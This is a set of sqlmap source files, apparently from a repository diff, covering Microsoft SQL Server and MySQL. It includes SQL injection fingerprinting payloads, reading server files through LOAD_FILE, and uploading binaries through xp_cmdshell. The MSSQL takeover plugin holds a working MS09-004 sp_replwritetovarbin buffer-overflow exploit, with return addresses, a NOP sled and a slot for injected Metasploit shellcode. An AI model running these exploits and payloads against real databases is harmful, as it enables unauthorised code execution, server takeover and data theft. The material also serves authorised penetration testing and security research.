result = []
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException(errMsg)
indexRange = getRange(count)
for index in indexRange:
chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
result.append(chunk)
inject.goStacked("DROP TABLE %s" % hexTbl)
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "Microsoft SQL Server does not support file upload with "
errMsg += "UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException(errMsg)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
# NOTE: this is needed here because we use xp_cmdshell extended
# procedure to write a file on the back-end Microsoft SQL Server
# file system. Maybe it won't be required to write text files
self.initEnv()
self.getRemoteTempPath()
debugMsg = "going to use xp_cmdshell extended procedure to write "
debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
logger.debug(debugMsg)
debugSize = 0xFF00
tmpPath = posixToNtSlashes(conf.tmpPath)
dFileName = os.path.split(dFile)[1]
dFile = posixToNtSlashes(dFile)
wFileSize = os.path.getsize(wFile)
wFilePointer = open(wFile, "rb")
wFileContent = wFilePointer.read()
wFilePointer.close()
if wFileSize < debugSize:
chunkName = self.updateBinChunk(wFileContent, tmpPath)
sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = ("cd %s" % tmpPath,
"ren %s %s" % (chunkName, dFileName),
"move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd)
else:
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
infoMsg += "bytes. sqlmap will split it into chunks, upload "
infoMsg += "them and recreate the original file out of the "
infoMsg += "binary chunks server-side, wait.."
logger.info(infoMsg)
counter = 1
for i in range(0, wFileSize, debugSize):
wFileChunk = wFileContent[i:i + debugSize]
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
if i == 0:
infoMsg = "renaming chunk "
copyCmd = "ren %s %s" % (chunkName, dFileName)
else:
infoMsg = "appending chunk "
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
logger.debug(infoMsg)
commands = ("cd %s" % tmpPath,
copyCmd,
"del /F %s" % chunkName)
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd)
logger.info("file chunk %d written" % counter)
counter += 1
sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = ("cd %s" % tmpPath,
"move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd)
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)

229
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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self)
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None
version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
if release and version and servicepack:
banVer = "Microsoft SQL Server %s " % release
banVer += "Service Pack %s " % servicepack
banVer += "version %s" % version
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
self.getBanner()
if not conf.extensiveFp:
kb.os = "Windows"
return True
infoMsg = "testing Microsoft SQL Server"
logger.info(infoMsg)
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
result = Request.queryPage(payload)
if result:
infoMsg = "confirming Microsoft SQL Server"
logger.info(infoMsg)
for version in (0, 5, 8):
randInt = randomInt()
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
payload = agent.fullPayload(query)
result = Request.queryPage(payload)
if result:
if version == 8:
kb.dbmsVersion = ["2008"]
break
elif version == 5:
kb.dbmsVersion = ["2005"]
break
elif version == 0:
kb.dbmsVersion = ["2000"]
break
else:
query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
payload = agent.fullPayload(query)
result = Request.queryPage(payload)
if result:
kb.dbmsVersion = ["7.0"]
break
if kb.dbmsVersion:
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
else:
setDbms("Microsoft SQL Server")
self.getBanner()
kb.os = "Windows"
return True
else:
warnMsg = "the back-end DMBS is not Microsoft SQL Server"
logger.warn(warnMsg)
return False
def checkDbmsOs(self, detailed=False):
if kb.os and kb.osVersion and kb.osSP:
return
if not kb.os:
kb.os = "Windows"
if not detailed:
return
infoMsg = "fingerprinting the back-end DBMS operating system "
infoMsg += "version and service pack"
logger.info(infoMsg)
infoMsg = "the back-end DBMS operating system is %s" % kb.os
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
versions = { "2003": ("5.2", (2, 1)),
#"2003": ("6.0", (2, 1)),
"2008": ("7.0", (1,)),
"2000": ("5.0", (4, 3, 2, 1)),
"XP": ("5.1", (2, 1)),
"NT": ("4.0", (6, 5, 4, 3, 2, 1)) }
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Windows NT " + data[0] + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1) == "1":
kb.osVersion = version
infoMsg += " %s" % kb.osVersion
break
if not kb.osVersion:
kb.osVersion = "2003"
kb.osSP = 2
warnMsg = "unable to fingerprint the underlying operating "
warnMsg += "system version, assuming it is Windows "
warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
logger.warn(warnMsg)
self.cleanup(onlyFileTbl=True)
return
# Get back-end DBMS underlying operating system service pack
sps = versions[kb.osVersion][1]
for sp in sps:
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Service Pack " + str(sp) + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1) == "1":
kb.osSP = sp
break
if not kb.osSP:
debugMsg = "assuming the operating system has no service pack"
logger.debug(debugMsg)
kb.osSP = 0
if kb.osVersion:
infoMsg += " Service Pack %d" % kb.osSP
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)

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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapSyntaxException
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
def __init__(self):
GenericSyntax.__init__(self)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression)
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = "("
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHAR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "+"
#unescaped += ")"
expression = expression.replace(old, unescaped)
else:
expression = "+".join("CHAR(%d)" % ord(c) for c in expression)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHAR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression)
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.replace("CHAR(", "").replace(")", "")
oldUpper = oldUpper.split("+")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression

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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import binascii
from lib.core.convert import urlencode
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def __init__(self):
self.spExploit = ""
GenericTakeover.__init__(self)
def uncPathRequest(self):
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
def spHeapOverflow(self):
"""
References:
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
* http://support.microsoft.com/kb/959420
"""
returns = {
# 2003 Service Pack 0
"2003-0": (""),
# 2003 Service Pack 1
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 12/2008
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 05/2009
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)")
# 2003 Service Pack 2 updated at 09/2009
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
}
addrs = None
for versionSp, data in returns.items():
version, sp = versionSp.split("-")
sp = int(sp)
if kb.osVersion == version and kb.osSP == sp:
addrs = data
break
if addrs is None:
errMsg = "sqlmap can not exploit the stored procedure buffer "
errMsg += "overflow because it does not have a valid return "
errMsg += "code for the underlying operating system (Windows "
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
raise sqlmapUnsupportedFeatureException(errMsg)
shellcodeChar = ""
hexStr = binascii.hexlify(self.shellcodeString[:-1])
for hexPair in range(0, len(hexStr), 2):
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
shellcodeChar = shellcodeChar[:-1]
self.spExploit = """
DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT
SET @buf = '
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
SET @val = CHAR(0x41)
SET @counter = 0
WHILE @counter < 3320
BEGIN
SET @counter = @counter + 1
IF @counter = 411
BEGIN
/* pointer to call [ecx+8] */
SET @buf = @buf + %s
/* push ebp, pop esp, ret 4 */
SET @buf = @buf + %s
/* push ecx, pop esp, pop ebp, retn 8 */
SET @buf = @buf + %s
/* Garbage */
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
/* retn 1c */
SET @buf = @buf + %s
/* retn 1c */
SET @buf = @buf + %s
/* anti DEP */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
/* Metasploit shellcode */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
SET @counter = @counter + 302
SET @val = CHAR(0x43)
CONTINUE
END
SET @buf = @buf + @val
END
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
EXEC master..sp_executesql @buf
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
self.spExploit = urlencode(self.spExploit, convall=True)
logger.info("triggering the buffer overflow vulnerability, wait..")
inject.goStacked(self.spExploit, silent=True)

571
plugins/dbms/mysql.py
View File

@ -1,571 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import setDbms
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import MYSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.techniques.inband.union.use import unionUse
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines MySQL methods
"""
def __init__(self):
self.__basedir = None
self.__datadir = None
self.excludeDbsList = MYSQL_SYSTEM_DBS
self.sysUdfs = {
# UDF name: UDF return data-type
"sys_exec": { "return": "int" },
"sys_eval": { "return": "string" },
"sys_bineval": { "return": "int" }
}
Enumeration.__init__(self, "MySQL")
Filesystem.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(MySQLMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "%d" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += ","
expression = expression.replace(old, "CHAR(%s)" % unescaped)
else:
unescaped = "CHAR("
unescaped += ",".join("%d" % ord(c) for c in expression)
unescaped += ")"
expression = unescaped
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHAR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find(")")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.lstrip("CHAR(").rstrip(")")
oldUpper = oldUpper.split(",")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression
def __commentCheck(self):
infoMsg = "executing MySQL comment injection fingerprint"
logger.info(infoMsg)
query = agent.prefixQuery(" /* NoValue */")
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if not result:
warnMsg = "unable to perform MySQL comment injection"
logger.warn(warnMsg)
return None
# MySQL valid versions updated on 01/2010
versions = (
(32200, 32234), # MySQL 3.22
(32300, 32360), # MySQL 3.23
(40000, 40032), # MySQL 4.0
(40100, 40123), # MySQL 4.1
(50000, 50090), # MySQL 5.0
(50100, 50142), # MySQL 5.1
(50400, 50405), # MySQL 5.4
(50500, 50502), # MySQL 5.5
(60000, 60011), # MySQL 6.0
)
for element in versions:
prevVer = None
for version in range(element[0], element[1] + 1):
randInt = randomInt()
version = str(version)
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result:
if not prevVer:
prevVer = version
if version[0] == "3":
midVer = prevVer[1:3]
else:
midVer = prevVer[2]
trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
return trueVer
prevVer = version
return None
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
comVer = self.__commentCheck()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if comVer:
comVer = formatDBMSfp([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
if re.search("-log$", kb.data.banner):
banVer += ", logging enabled"
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
"""
References for fingerprint:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
"""
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("MySQL %s" % kb.dbmsVersion[0])
if int(kb.dbmsVersion[0]) >= 5:
kb.data.has_information_schema = True
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "testing MySQL"
logger.info(infoMsg)
randInt = str(randomInt(1))
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
result = Request.queryPage(payload)
if result:
infoMsg = "confirming MySQL"
logger.info(infoMsg)
payload = agent.fullPayload(" AND ISNULL(1/0)")
result = Request.queryPage(payload)
if not result:
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
return False
# Determine if it is MySQL >= 5.0.0
if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt:
kb.data.has_information_schema = True
kb.dbmsVersion = [">= 5.0.0"]
setDbms("MySQL 5")
self.getBanner()
if not conf.extensiveFp:
return True
# Check if it is MySQL >= 5.5.0
if inject.getValue("SELECT MID(TO_SECONDS(950501), 1, 1)", unpack=False, charsetType=2) == "6":
kb.dbmsVersion = [">= 5.5.0"]
# Check if it is MySQL >= 5.1.2 and < 5.5.0
elif inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False):
if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"]
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
kb.dbmsVersion = ["= 5.1.6"]
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
else:
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
# Check if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1":
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
else:
kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
# Otherwise assume it is MySQL < 5.0.0
else:
kb.dbmsVersion = ["< 5.0.0"]
setDbms("MySQL 4")
self.getBanner()
if not conf.extensiveFp:
return True
# Check which version of MySQL < 5.0.0 it is
coercibility = inject.getValue("COERCIBILITY(USER())")
if coercibility == "3":
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
elif coercibility == "2":
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
elif inject.getValue("CURRENT_USER()"):
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
kb.dbmsVersion = ["= 4.1.0"]
else:
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0":
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
elif inject.getValue("CONNECTION_ID()"):
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
else:
kb.dbmsVersion = ["< 3.22.11"]
return True
else:
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
return False
def checkDbmsOs(self, detailed=False):
if kb.os:
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
if datadirSubstr == "/":
kb.os = "Linux"
else:
kb.os = "Windows"
infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def unionReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
return result
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.getRemoteTempPath()
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
debugMsg += "into temporary file '%s'" % tmpFile
logger.debug(debugMsg)
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
debugMsg = "loading the content of hexadecimal encoded file "
debugMsg += "'%s' into support table" % rFile
